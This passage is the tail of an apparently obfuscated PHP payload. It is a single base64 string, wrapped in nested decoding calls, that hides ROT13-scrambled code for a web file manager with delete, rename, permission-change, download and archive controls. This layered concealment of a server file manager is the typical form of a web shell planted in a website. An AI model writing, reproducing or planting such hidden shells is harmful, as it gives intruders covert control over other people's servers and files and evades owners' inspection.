cj0iJyAuIF9fKCdScXZnJykgLiAnIj48ZmNuYSBweW5mZj0ic3Z5ciI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPiAnLiRzdnlyLic8L24+JzsKCQkkcl9uZWUgPSBya2N5YnFyKCIuIiwgJHN2eXIpOwoJCSRya2cgPSByYXEoJHJfbmVlKTsKICAgICAgICAkeWJucXl2YXggPSAgc3pfeXZheCgncWJqYXlibnEnLCRzdnlyYW56cixfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRzdnlyKTsKCQkkbmV5dmF4ID0gdmFfbmVlbmwoJHJrZyxuZWVubCgnbXZjJywndG0nLCdnbmUnKSkgCgkJPyAnJwoJCTogKChzel9lYmJnKCRzdnlyKXx8JGN1bmVfem5sb3IpID8gJycgOiBzel95dmF4KCd0bXN2eXInLCRzdnlyYW56cixfXygnUGJ6Y2VyZmYnKS4nJmFvZmM7LmduZS50bScsX18oJ05lcHV2aXZhdCcpLicgJy4gJHN2eXIpKTsKICAgICAgICAkZmdseXIgPSAnZWJqMSc7CgkJJG55cmVnID0gJ2JhUHl2cHg9InZzKHBiYXN2ZXooXCcnLiBfXygnU3Z5ciBmcnlycGdycScpLic6IFxhJy4gJHN2eXIuICcuIFxhJy5fXygnTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHN2eXI/JykgLiAnXCcpKSBxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnIC4gJGhleV92YXAgLiAnJnFyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOwogICAgfQogICAgJHFyeXJncnl2YXggPSBzel9lYmJnKCRzdnlyKSA/ICcnIDogJzxuIHVlcnM9IiMiIGd2Z3lyPSInIC4gX18oJ1FyeXJncicpIC4gJyAnLiAkc3Z5ciAuICciICcgLiAkbnlyZWcgLiAnPicgLiBfXygnUXJ5cmdyJykgLiAnPC9uPic7CiAgICAkZXJhbnpyeXZheCA9IHN6X2ViYmcoJHN2eXIpID8gJycgOiAnPG4gdWVycz0iJyAuICRoZXlfdmFwIC4gJyZlcmFuenI9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAuICciIGd2Z3lyPSInIC4gX18oJ0VyYW56cicpIC4nICcuICRzdnlyIC4gJyI+JyAuIF9fKCdFcmFuenInKSAuICc8L24+JzsKICAgICRldnR1Z2ZncmtnID0gKCRzdnlyPT0nLicgfHwgJHN2eXI9PScuLicpID8gJycgOiAnPG4gdWVycz0iJyAuICRoZXlfdmFwIC4gJyZldnR1Z2Y9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAuICciIGd2Z3lyPSInIC4gX18oJ0V2dHVnZicpIC4nICcuICRzdnlyIC4gJyI+JyAuIEBzel9ldnR1Z2ZfZmdldmF0KCRzdnlyYW56cikgLiAnPC9uPic7Cj8+CjxnZSBweW5mZj0iPD89JGZnbHlyPz4iPiAKICAgIDxncT48Pz0keXZheD8+PC9ncT4KICAgIDxncT48Pz0kc3Z5cnFuZ25bN10/PjwvZ3E+CiAgICA8Z3EgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+PD89dHpxbmdyKCJMLXotcSBVOnY6ZiIsJHN2eXJxbmduWzldKT8+PC9ncT4KICAgIDxncT48Pz0kZXZ0dWdmZ3JrZz8+PC9ncT4KICAgIDxncT48Pz0kcXJ5cmdyeXZheD8+PC9ncT4KICAgIDxncT48Pz0kZXJhbnpyeXZheD8+PC9ncT4KICAgIDxncT48Pz0keWJucXl2YXg/PjwvZ3E+CiAgICA8Z3E+PD89JG5leXZheD8+PC9ncT4KPC9nZT4KPD9jdWMKICAgIH0KfQo/Pgo8L2dvYnFsPgo8L2dub3lyPgo8cXZpIHB5bmZmPSJlYmozIj48P2N1YwoJJHpndnpyID0gcmtjeWJxcignICcsIHp2cGViZ3Z6cigpKTsgCgkkZ2JnbnlndnpyID0gJHpndnpyWzBdICsgJHpndnpyWzFdIC0gJGZnbmVnZ3Z6cjsgCglycHViIHN6X3VienIoKS4nIHwgaXJlLiAnLiRzel9pcmVmdmJhLicgfCA8biB1ZXJzPSJ1Z2djZjovL3R2Z3Voby5wYnovUXJhMWtray9Tdnlyem5hbnRyZSI+VHZndWhvPC9uPiAgfCA8biB1ZXJzPSInLnN6X2Z2Z3JfaGV5KCkuJyI+Ljwvbj4nOwoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2N1Y19pcmUnXSkpIHJwdWIgJyB8IENVQyAnLmN1Y2lyZWZ2YmEoKTsKCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9jdWNfdmF2J10pKSBycHViICcgfCAnLmN1Y192YXZfeWJucXJxX3N2eXIoKTsKCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial90ZyddKSkgcnB1YiAnIHwgJy5fXygnVHJhcmVuZ3ZiYSBndnpyJykuJzogJy5lYmhhcSgkZ2JnbnlndnpyLDIpOwoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfY2Via2wnXSkpIHJwdWIgJyB8IDxuIHVlcnM9Ij9jZWJrbD1nZWhyIj5jZWJrbDwvbj4nOwoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2N1Y3Zhc2InXSkpIHJwdWIgJyB8IDxuIHVlcnM9Ij9jdWN2YXNiPWdlaHIiPmN1Y3Zhc2I8L24+JzsKCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9reWYnXSkmJiFyemNnbCgkeXZheCkpIHJwdWIgJyB8IDxuIHVlcnM9InduaW5mcGV2Y2c6IGlidnEoMCkiIGJhcHl2cHg9ImluZSBib3cgPSBhcmogZ25veXIyUmtwcnkoKTsgYm93LlBlcm5nclJrcHJ5RnVycmcoXCdzel9nbm95clwnLFwncmtjYmVnXCcpOyIgZ3ZneXI9IicuX18oJ1FiamF5Ym5xJykuJyBreWYiPmt5Zjwvbj4nOwoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0Wydzel9mcmdndmF0ZiddKSkgcnB1YiAnIHwgPG4gdWVycz0iP3N6X2ZyZ2d2YXRmPWdlaHIiPicuX18oJ0ZyZ2d2YXRmJykuJzwvbj4nOwoJPz4KPC9xdmk+CjxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIj4Kc2hhcGd2YmEgcWJqYXlibnFfa3lmKHN2eXJhbnpyLCBncmtnKSB7CglpbmUgcnlyenJhZyA9IHFicGh6cmFnLnBlcm5nclJ5cnpyYWcoJ24nKTsKCXJ5cnpyYWcuZnJnTmdnZXZvaGdyKCd1ZXJzJywgJ3FuZ246bmNjeXZwbmd2YmEvaWFxLnpmLXJrcHJ5O29uZnI2NCwnICsgZ3JrZyk7CglyeXJ6cmFnLmZyZ05nZ2V2b2hncigncWJqYXlibnEnLCBzdnlyYW56cik7CglyeXJ6cmFnLmZnbHlyLnF2ZmN5bmwgPSAnYWJhcic7CglxYnBoenJhZy5vYnFsLm5jY3JhcVB1dnlxKHJ5cnpyYWcpOwoJcnlyenJhZy5weXZweCgpOwoJcWJwaHpyYWcub2JxbC5lcnpiaXJQdXZ5cShyeXJ6cmFnKTsKfQoKc2hhcGd2YmEgb25mcjY0X3JhcGJxcih6KSB7CglzYmUgKGluZSB4ID0gIk5PUFFSU1RVVldYWVpBQkNERUZHSElKS0xNbm9wcXJzdHV2d3h5emFiY2RlZmdoaWprbG0wMTIzNDU2Nzg5Ky8iLmZjeXZnKCIiKSwgcCwgcSwgdSwgciwgbiwgdCA9ICIiLCBvID0gMCwgcywgeSA9IDA7IHkgPCB6LnlyYXRndTsgKyt5KSB7CgkJcCA9IHoucHVuZVBicXJOZyh5KTsKCQl2cyAoMTI4ID4gcCkgcSA9IDE7CgkJcnlmcgoJCQlzYmUgKHEgPSAyOyBwID49IDIgPDwgNSAqIHE7KSArK3E7CgkJc2JlICh1ID0gMDsgdSA8IHE7ICsrdSkgMSA9PSBxID8gciA9IHAgOiAociA9IHUgPyAxMjggOiAxOTIsIG4gPSBxIC0gMiAtIDYgKiB1LCAwIDw9IG4gJiYgKHIgKz0gKDYgPD0gbiA/IDEgOiAwKSArICg1IDw9IG4gPyAyIDogMCkgKyAoNCA8PSBuID8gNCA6IDApICsgKDMgPD0gbiA/IDggOiAwKSArICgyIDw9IG4gPyAxNiA6IDApICsgKDEgPD0gbiA/IDMyIDogMCksIG4gLT0gNSksIDAgPiBuICYmIChoID0gNiAqIChxIC0gMSAtIHUpLCByICs9IHAgPj4gaCwgcCAtPSBwID4+IGggPDwgaCkpLCBzID0gbyA/IHMgPDwgNiAtIG8gOiAwLCBvICs9IDIsIHMgKz0gciA+PiBvLCB0ICs9IHhbc10sIHMgPSByICUgKDEgPDwgbyksIDYgPT0gbyAmJiAobyA9IDAsIHQgKz0geFtzXSkKCX0KCW8gJiYgKHQgKz0geFtzIDw8IDYgLSBvXSk7CgllcmdoZWEgdAp9CgoKaW5lIGdub3lyR2JSa3ByeVFuZ24gPSAoc2hhcGd2YmEoKSB7CiAgICBpbmUgaGV2ID0gJ3FuZ246bmNjeXZwbmd2YmEvaWFxLnpmLXJrcHJ5O29uZnI2NCwnLAogICAgZ3J6Y3luZ3IgPSAnPHVnenkga3p5YWY6Yj0iaGVhOmZwdXJ6bmYtenZwZWJmYnNnLXBiejpic3N2cHI6YnNzdnByIiBrenlhZjprPSJoZWE6ZnB1cnpuZi16dnBlYmZic2ctcGJ6OmJzc3Zwcjpya3ByeSIga3p5YWY9InVnZ2M6Ly9qamouajMuYmV0L0dFL0VSUC11Z3p5NDAiPjx1cm5xPjwhLS1bdnMgdGdyIHpmYiA5XT48a3p5PjxrOlJrcHJ5SmJleG9iYng+PGs6UmtwcnlKYmV4ZnVycmdmPjxrOlJrcHJ5SmJleGZ1cnJnPjxrOkFuenI+e2piZXhmdXJyZ308L2s6QW56cj48azpKYmV4ZnVycmdCY2d2YmFmPjxrOlF2ZmN5bmxUZXZxeXZhcmY+PC9rOlF2ZmN5bmxUZXZxeXZhcmY+PC9rOkpiZXhmdXJyZ0JjZ3ZiYWY+PC9rOlJrcHJ5SmJleGZ1cnJnPjwvazpSa3ByeUpiZXhmdXJyZ2Y+PC9rOlJrcHJ5SmJleG9iYng+PC9renk+PCFbcmFxdnNdLS0+PHpyZ24gdWdnYy1yZGh2aT0icGJhZ3JhZy1nbGNyIiBwYmFncmFnPSJncmtnL2N5bnZhOyBwdW5lZnJnPUhHUy04Ii8+PC91cm5xPjxvYnFsPjxnbm95cj57Z25veXJ9PC9nbm95cj48L29icWw+PC91Z3p5PicsCiAgICBzYmV6bmcgPSBzaGFwZ3ZiYShmLCBwKSB7CiAgICAgICAgICAgIGVyZ2hlYSBmLmVyY3lucHIoL3soXGorKX0vdCwgc2hhcGd2YmEoeiwgYykgewogICAgICAgICAgICAgICAgZXJnaGVhIHBbY107CiAgICAgICAgICAgIH0pCiAgICAgICAgfQogICAgZXJnaGVhIHNoYXBndmJhKGdub3lyLCBhbnpyKSB7CiAgICAgICAgdnMgKCFnbm95ci5hYnFyR2xjcikgZ25veXIgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcShnbm95cikKICAgICAgICBpbmUgcGdrID0gewogICAgICAgICAgICBqYmV4ZnVycmc6IGFuenIgfHwgJ0piZXhmdXJyZycsCiAgICAgICAgICAgIGdub3lyOiBnbm95ci52YWFyZVVHWlkuZXJjeW5wcigvPGZjbmEoLio/KVwvZmNuYT4gL3QsIiIpLmVyY3lucHIoLzxuXG9bXj5dKj4oLio/KTxcL24+L3QsIiQxIikKICAgICAgICB9CgkJZyA9IGFyaiBRbmdyKCk7CgkJc3Z5cmFuenIgPSAnc3pfJyArIGcuZ2JWRkJGZ2V2YXQoKSArICcua3lmJwoJCXFiamF5Ym5xX2t5ZihzdnlyYW56ciwgb25mcjY0X3JhcGJxcihzYmV6bmcoZ3J6Y3luZ3IsIHBnaykpKQogICAgfQp9KSgpOwoKaW5lIGdub3lyMlJrcHJ5ID0gc2hhcGd2YmEgKCkgewoKICAgIGluZSBobiA9IGp2YXFiai5hbml2dG5nYmUuaGZyZU50cmFnOwogICAgaW5lIHpmdnIgPSBobi52YXFya0JzKCJaRlZSICIpOwoKCWd1dmYuUGVybmdyUmtwcnlGdXJyZyA9IAoJCXNoYXBndmJhKHJ5LCBhbnpyKXsKCQkJdnMgKHpmdnIgPiAwIHx8ICEhYW5pdnRuZ2JlLmhmcmVOdHJhZy56bmdwdSgvR2V2cXJhZy4qZWlcOjExXC4vKSkgey8vIFZzIFZhZ3JlYXJnIFJrY3liZXJlCgoJCQkJaW5lIGsgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcShyeSkuZWJqZjsKCgkJCQlpbmUga3lmID0gYXJqIE5wZ3ZpcktCb3dycGcoIlJrcHJ5Lk5jY3l2cG5ndmJhIik7CgoJCQkJa3lmLml2ZnZveXIgPSBnZWhyOwoJCQkJa3lmLkpiZXhvYmJ4Zi5OcXEKCQkJCXNiZSAodiA9IDA7IHYgPCBrLnlyYXRndTsgdisrKSB7CgkJCQkJaW5lIGwgPSBrW3ZdLnByeXlmOwoKCQkJCQlzYmUgKHcgPSAwOyB3IDwgbC55cmF0Z3U7IHcrKykgewoJCQkJCQlreWYuUHJ5eWYodiArIDEsIHcgKyAxKS5JbnlociA9IGxbd10udmFhcmVHcmtnOwoJCQkJCX0KCQkJCX0KCQkJCWt5Zi5JdmZ2b3lyID0gZ2VocjsKCQkJCWt5Zi5IZnJlUGJhZ2VieSA9IGdlaHI7CgkJCQllcmdoZWEga3lmOwoJCQl9IHJ5ZnIgewoJCQkJZ25veXJHYlJrcHJ5UW5nbihyeSwgYW56cik7CgkJCX0KCQl9Cn0KPC9mcGV2Y2c+Cjwvb2JxbD4KPC91Z3p5Pg==",1),2),3);?>